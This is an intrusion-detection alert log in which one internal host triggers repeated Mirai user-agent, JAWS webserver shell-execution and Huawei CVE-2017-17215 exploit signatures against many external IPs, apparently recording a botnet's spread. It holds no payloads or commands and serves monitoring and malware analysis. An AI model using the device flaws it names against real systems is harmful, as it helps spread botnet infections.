2024-12-03T23:17:06.467080+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	39842	89.7.20.131	80	TCP
2024-12-03T23:17:06.467080+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	39842	89.7.20.131	80	TCP
2024-12-03T23:17:06.481248+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38240	205.42.223.76	80	TCP
2024-12-03T23:17:06.481248+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38240	205.42.223.76	80	TCP
2024-12-03T23:17:06.481416+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	54802	131.246.4.63	80	TCP
2024-12-03T23:17:06.481416+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	54802	131.246.4.63	80	TCP
2024-12-03T23:17:06.497169+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47602	101.46.179.16	80	TCP
2024-12-03T23:17:06.497169+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	47602	101.46.179.16	80	TCP
2024-12-03T23:17:06.497505+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55162	144.38.20.0	80	TCP
2024-12-03T23:17:06.497505+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55162	144.38.20.0	80	TCP
2024-12-03T23:17:06.544006+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	35888	53.132.117.184	80	TCP
2024-12-03T23:17:06.544006+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	35888	53.132.117.184	80	TCP
2024-12-03T23:17:06.544355+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	49344	129.100.184.223	80	TCP
2024-12-03T23:17:06.544355+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	49344	129.100.184.223	80	TCP
2024-12-03T23:17:06.544401+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	44620	45.40.116.252	80	TCP
2024-12-03T23:17:06.544401+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	44620	45.40.116.252	80	TCP
2024-12-03T23:17:06.590979+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	56488	95.67.114.253	80	TCP
2024-12-03T23:17:06.590979+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	56488	95.67.114.253	80	TCP
2024-12-03T23:17:06.591035+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	53526	153.112.177.229	80	TCP
2024-12-03T23:17:06.591035+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	53526	153.112.177.229	80	TCP
2024-12-03T23:17:06.600042+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55950	198.29.2.103	80	TCP
2024-12-03T23:17:06.600042+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55950	198.29.2.103	80	TCP
2024-12-03T23:17:06.615596+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50114	120.173.20.194	80	TCP
2024-12-03T23:17:06.615596+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50114	120.173.20.194	80	TCP
2024-12-03T23:17:06.637715+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45274	146.132.188.166	80	TCP
2024-12-03T23:17:06.637715+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45274	146.132.188.166	80	TCP
2024-12-03T23:17:06.653194+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34932	104.171.23.145	80	TCP
2024-12-03T23:17:06.653194+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34932	104.171.23.145	80	TCP
2024-12-03T23:17:06.662581+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	49530	188.243.47.249	80	TCP
2024-12-03T23:17:06.662581+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	49530	188.243.47.249	80	TCP
2024-12-03T23:17:06.678080+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	37062	178.209.10.75	80	TCP
2024-12-03T23:17:06.678080+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	37062	178.209.10.75	80	TCP
2024-12-03T23:17:07.434851+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	58542	152.243.171.49	80	TCP
2024-12-03T23:17:07.434851+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	58542	152.243.171.49	80	TCP
2024-12-03T23:17:07.450210+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	44466	79.244.180.207	80	TCP
2024-12-03T23:17:07.450210+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	44466	79.244.180.207	80	TCP
2024-12-03T23:17:07.457990+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34024	51.255.125.138	80	TCP
2024-12-03T23:17:07.457990+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34024	51.255.125.138	80	TCP
2024-12-03T23:17:07.465698+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	48408	211.227.175.197	80	TCP
2024-12-03T23:17:07.465698+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	48408	211.227.175.197	80	TCP
2024-12-03T23:17:07.537859+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	32818	12.128.53.10	80	TCP
2024-12-03T23:17:07.537859+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	32818	12.128.53.10	80	TCP
2024-12-03T23:17:07.537953+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	44054	52.59.102.77	80	TCP
2024-12-03T23:17:07.537953+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	44054	52.59.102.77	80	TCP
2024-12-03T23:17:07.600254+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	40424	179.151.244.139	80	TCP
2024-12-03T23:17:07.600254+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	40424	179.151.244.139	80	TCP
2024-12-03T23:17:07.637794+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55784	9.156.190.104	80	TCP
2024-12-03T23:17:07.637794+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55784	9.156.190.104	80	TCP
2024-12-03T23:17:07.653553+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57612	71.139.246.174	80	TCP
2024-12-03T23:17:07.653553+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57612	71.139.246.174	80	TCP
2024-12-03T23:17:07.653577+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34882	131.92.253.181	80	TCP
2024-12-03T23:17:07.653577+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34882	131.92.253.181	80	TCP
2024-12-03T23:17:07.653582+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34928	184.86.41.56	80	TCP
2024-12-03T23:17:07.653582+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34928	184.86.41.56	80	TCP
2024-12-03T23:17:07.700412+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34724	175.139.215.108	80	TCP
2024-12-03T23:17:07.700412+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34724	175.139.215.108	80	TCP
2024-12-03T23:17:07.725140+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	52898	52.109.45.182	80	TCP
2024-12-03T23:17:07.725140+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	52898	52.109.45.182	80	TCP
2024-12-03T23:17:07.731364+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57244	220.191.45.226	80	TCP
2024-12-03T23:17:07.731364+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57244	220.191.45.226	80	TCP
2024-12-03T23:17:08.965732+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	48428	126.128.117.174	80	TCP
2024-12-03T23:17:08.965732+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	48428	126.128.117.174	80	TCP
2024-12-03T23:17:09.006420+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55344	111.129.118.141	80	TCP
2024-12-03T23:17:09.006420+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55344	111.129.118.141	80	TCP
2024-12-03T23:17:09.043926+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	46556	136.180.192.64	80	TCP
2024-12-03T23:17:09.043926+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	46556	136.180.192.64	80	TCP
2024-12-03T23:17:09.043967+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41164	180.109.221.172	80	TCP
2024-12-03T23:17:09.043967+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41164	180.109.221.172	80	TCP
2024-12-03T23:17:09.044103+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	56698	193.187.119.1	80	TCP
2024-12-03T23:17:09.044103+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	56698	193.187.119.1	80	TCP
2024-12-03T23:17:09.075284+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55712	146.160.159.128	80	TCP
2024-12-03T23:17:09.075284+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55712	146.160.159.128	80	TCP
2024-12-03T23:17:09.075448+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	40288	103.214.187.227	80	TCP
2024-12-03T23:17:09.075448+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	40288	103.214.187.227	80	TCP
2024-12-03T23:17:09.084346+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	52678	83.51.41.144	80	TCP
2024-12-03T23:17:09.084346+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	52678	83.51.41.144	80	TCP
2024-12-03T23:17:09.091293+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	35072	177.225.31.244	80	TCP
2024-12-03T23:17:09.091293+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	35072	177.225.31.244	80	TCP
2024-12-03T23:17:09.100041+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55066	176.205.213.17	80	TCP
2024-12-03T23:17:09.100041+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55066	176.205.213.17	80	TCP
2024-12-03T23:17:09.100196+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47196	161.47.72.130	80	TCP
2024-12-03T23:17:09.100196+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	47196	161.47.72.130	80	TCP
2024-12-03T23:17:09.100327+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42634	159.198.67.110	80	TCP
2024-12-03T23:17:09.100327+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42634	159.198.67.110	80	TCP
2024-12-03T23:17:09.100491+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33716	219.25.117.201	80	TCP
2024-12-03T23:17:09.100491+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33716	219.25.117.201	80	TCP
2024-12-03T23:17:09.106477+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	46746	175.217.230.70	80	TCP
2024-12-03T23:17:09.106477+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	46746	175.217.230.70	80	TCP
2024-12-03T23:17:09.142225+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60554	146.197.93.177	80	TCP
2024-12-03T23:17:09.142225+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60554	146.197.93.177	80	TCP
2024-12-03T23:17:09.496963+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	57276	156.124.55.110	37215	TCP
2024-12-03T23:17:09.512681+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	56630	89.106.217.241	80	TCP
2024-12-03T23:17:09.512681+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	56630	89.106.217.241	80	TCP
2024-12-03T23:17:09.530683+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	44250	176.88.220.123	80	TCP
2024-12-03T23:17:09.530683+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	44250	176.88.220.123	80	TCP
2024-12-03T23:17:09.544166+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43422	20.223.0.235	80	TCP
2024-12-03T23:17:09.544166+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43422	20.223.0.235	80	TCP
2024-12-03T23:17:09.554197+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57190	204.71.210.36	80	TCP
2024-12-03T23:17:09.554197+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57190	204.71.210.36	80	TCP
2024-12-03T23:17:09.615682+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	39812	14.2.153.102	80	TCP
2024-12-03T23:17:09.615682+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	39812	14.2.153.102	80	TCP
2024-12-03T23:17:09.653524+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	55264	197.25.172.124	37215	TCP
2024-12-03T23:17:09.662591+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	58794	197.57.240.239	37215	TCP
2024-12-03T23:17:09.678302+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33594	197.184.110.72	37215	TCP
2024-12-03T23:17:09.725179+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	53122	170.152.121.169	80	TCP
2024-12-03T23:17:09.725179+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	53122	170.152.121.169	80	TCP
2024-12-03T23:17:09.725184+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59074	155.203.22.126	80	TCP
2024-12-03T23:17:09.725184+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59074	155.203.22.126	80	TCP
2024-12-03T23:17:09.835253+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	32914	156.73.199.208	37215	TCP
2024-12-03T23:17:09.965794+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	58900	181.16.202.67	80	TCP
2024-12-03T23:17:09.965794+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	58900	181.16.202.67	80	TCP
2024-12-03T23:17:09.966067+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	48110	75.96.152.124	80	TCP
2024-12-03T23:17:09.966067+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	48110	75.96.152.124	80	TCP
2024-12-03T23:17:09.975127+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	35012	116.59.162.85	80	TCP
2024-12-03T23:17:09.975127+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	35012	116.59.162.85	80	TCP
2024-12-03T23:17:09.997413+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	58128	192.62.46.240	80	TCP
2024-12-03T23:17:09.997413+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	58128	192.62.46.240	80	TCP
2024-12-03T23:17:10.089859+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57340	186.45.45.229	80	TCP
2024-12-03T23:17:10.089859+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57340	186.45.45.229	80	TCP
2024-12-03T23:17:10.089859+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	46408	107.254.158.162	80	TCP
2024-12-03T23:17:10.089859+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	46408	107.254.158.162	80	TCP
2024-12-03T23:17:10.089860+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	36340	88.109.144.121	80	TCP
2024-12-03T23:17:10.089860+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	36340	88.109.144.121	80	TCP
2024-12-03T23:17:10.089871+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42638	177.95.70.145	80	TCP
2024-12-03T23:17:10.089871+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42638	177.95.70.145	80	TCP
2024-12-03T23:17:10.098787+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60744	80.213.14.165	80	TCP
2024-12-03T23:17:10.098787+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60744	80.213.14.165	80	TCP
2024-12-03T23:17:10.098792+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	44924	137.96.172.137	80	TCP
2024-12-03T23:17:10.098792+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	44924	137.96.172.137	80	TCP
2024-12-03T23:17:10.098798+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41418	84.171.71.67	80	TCP
2024-12-03T23:17:10.098798+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41418	84.171.71.67	80	TCP
2024-12-03T23:17:10.121132+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60642	65.196.231.131	80	TCP
2024-12-03T23:17:10.121132+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60642	65.196.231.131	80	TCP
2024-12-03T23:17:10.121132+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47328	14.201.184.218	80	TCP
2024-12-03T23:17:10.121132+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	47328	14.201.184.218	80	TCP
2024-12-03T23:17:10.213462+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	54912	158.229.16.172	80	TCP
2024-12-03T23:17:10.213462+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	54912	158.229.16.172	80	TCP
2024-12-03T23:17:10.213464+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	48388	216.45.248.172	80	TCP
2024-12-03T23:17:10.213464+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	48388	216.45.248.172	80	TCP
2024-12-03T23:17:10.213467+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50374	118.211.183.67	80	TCP
2024-12-03T23:17:10.213467+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50374	118.211.183.67	80	TCP
2024-12-03T23:17:10.213471+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41142	105.208.107.220	80	TCP
2024-12-03T23:17:10.213471+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41142	105.208.107.220	80	TCP
2024-12-03T23:17:10.213471+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	36494	199.96.168.179	80	TCP
2024-12-03T23:17:10.213471+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	36494	199.96.168.179	80	TCP
2024-12-03T23:17:10.213471+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	40216	149.214.222.91	80	TCP
2024-12-03T23:17:10.213471+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	40216	149.214.222.91	80	TCP
2024-12-03T23:17:10.409973+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	47168	156.224.237.85	37215	TCP
2024-12-03T23:17:10.637869+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56492	41.50.74.64	37215	TCP
2024-12-03T23:17:10.647254+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	50796	156.213.87.168	37215	TCP
2024-12-03T23:17:10.841592+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	57816	156.242.231.165	37215	TCP
2024-12-03T23:17:10.876156+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	53784	197.5.80.25	37215	TCP
2024-12-03T23:17:11.038532+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	46674	41.174.160.8	37215	TCP
2024-12-03T23:17:11.122196+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33170	64.184.219.41	80	TCP
2024-12-03T23:17:11.122196+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33170	64.184.219.41	80	TCP
2024-12-03T23:17:11.142655+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	44118	154.175.128.164	80	TCP
2024-12-03T23:17:11.142655+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	44118	154.175.128.164	80	TCP
2024-12-03T23:17:11.142655+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50074	112.198.79.120	80	TCP
2024-12-03T23:17:11.142655+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50074	112.198.79.120	80	TCP
2024-12-03T23:17:11.153355+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	37540	41.76.192.116	80	TCP
2024-12-03T23:17:11.153355+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	37540	41.76.192.116	80	TCP
2024-12-03T23:17:11.162482+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	44158	131.115.153.201	80	TCP
2024-12-03T23:17:11.162482+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	44158	131.115.153.201	80	TCP
2024-12-03T23:17:11.225243+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	46904	134.104.83.77	80	TCP
2024-12-03T23:17:11.225243+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	46904	134.104.83.77	80	TCP
2024-12-03T23:17:11.356561+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	32982	74.123.234.35	80	TCP
2024-12-03T23:17:11.356561+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	32982	74.123.234.35	80	TCP
2024-12-03T23:17:11.372194+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50600	90.249.44.175	80	TCP
2024-12-03T23:17:11.372194+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50600	90.249.44.175	80	TCP
2024-12-03T23:17:11.372387+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	35066	145.33.190.157	80	TCP
2024-12-03T23:17:11.372387+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	35066	145.33.190.157	80	TCP
2024-12-03T23:17:11.388601+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42146	138.192.209.119	80	TCP
2024-12-03T23:17:11.388601+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42146	138.192.209.119	80	TCP
2024-12-03T23:17:11.396741+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	35992	176.69.242.94	80	TCP
2024-12-03T23:17:11.396741+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	35992	176.69.242.94	80	TCP
2024-12-03T23:17:11.413341+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	53118	95.58.153.193	80	TCP
2024-12-03T23:17:11.413341+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	53118	95.58.153.193	80	TCP
2024-12-03T23:17:11.413343+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45074	217.19.114.229	80	TCP
2024-12-03T23:17:11.413343+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45074	217.19.114.229	80	TCP
2024-12-03T23:17:11.413492+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	44382	135.89.3.44	80	TCP
2024-12-03T23:17:11.413492+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	44382	135.89.3.44	80	TCP
2024-12-03T23:17:11.428183+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	48300	49.209.5.244	80	TCP
2024-12-03T23:17:11.428183+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	48300	49.209.5.244	80	TCP
2024-12-03T23:17:11.428299+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60176	193.206.198.78	80	TCP
2024-12-03T23:17:11.428299+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60176	193.206.198.78	80	TCP
2024-12-03T23:17:11.428411+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	48708	117.110.109.99	80	TCP
2024-12-03T23:17:11.428411+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	48708	117.110.109.99	80	TCP
2024-12-03T23:17:11.428488+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	56466	32.125.248.35	80	TCP
2024-12-03T23:17:11.428488+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	56466	32.125.248.35	80	TCP
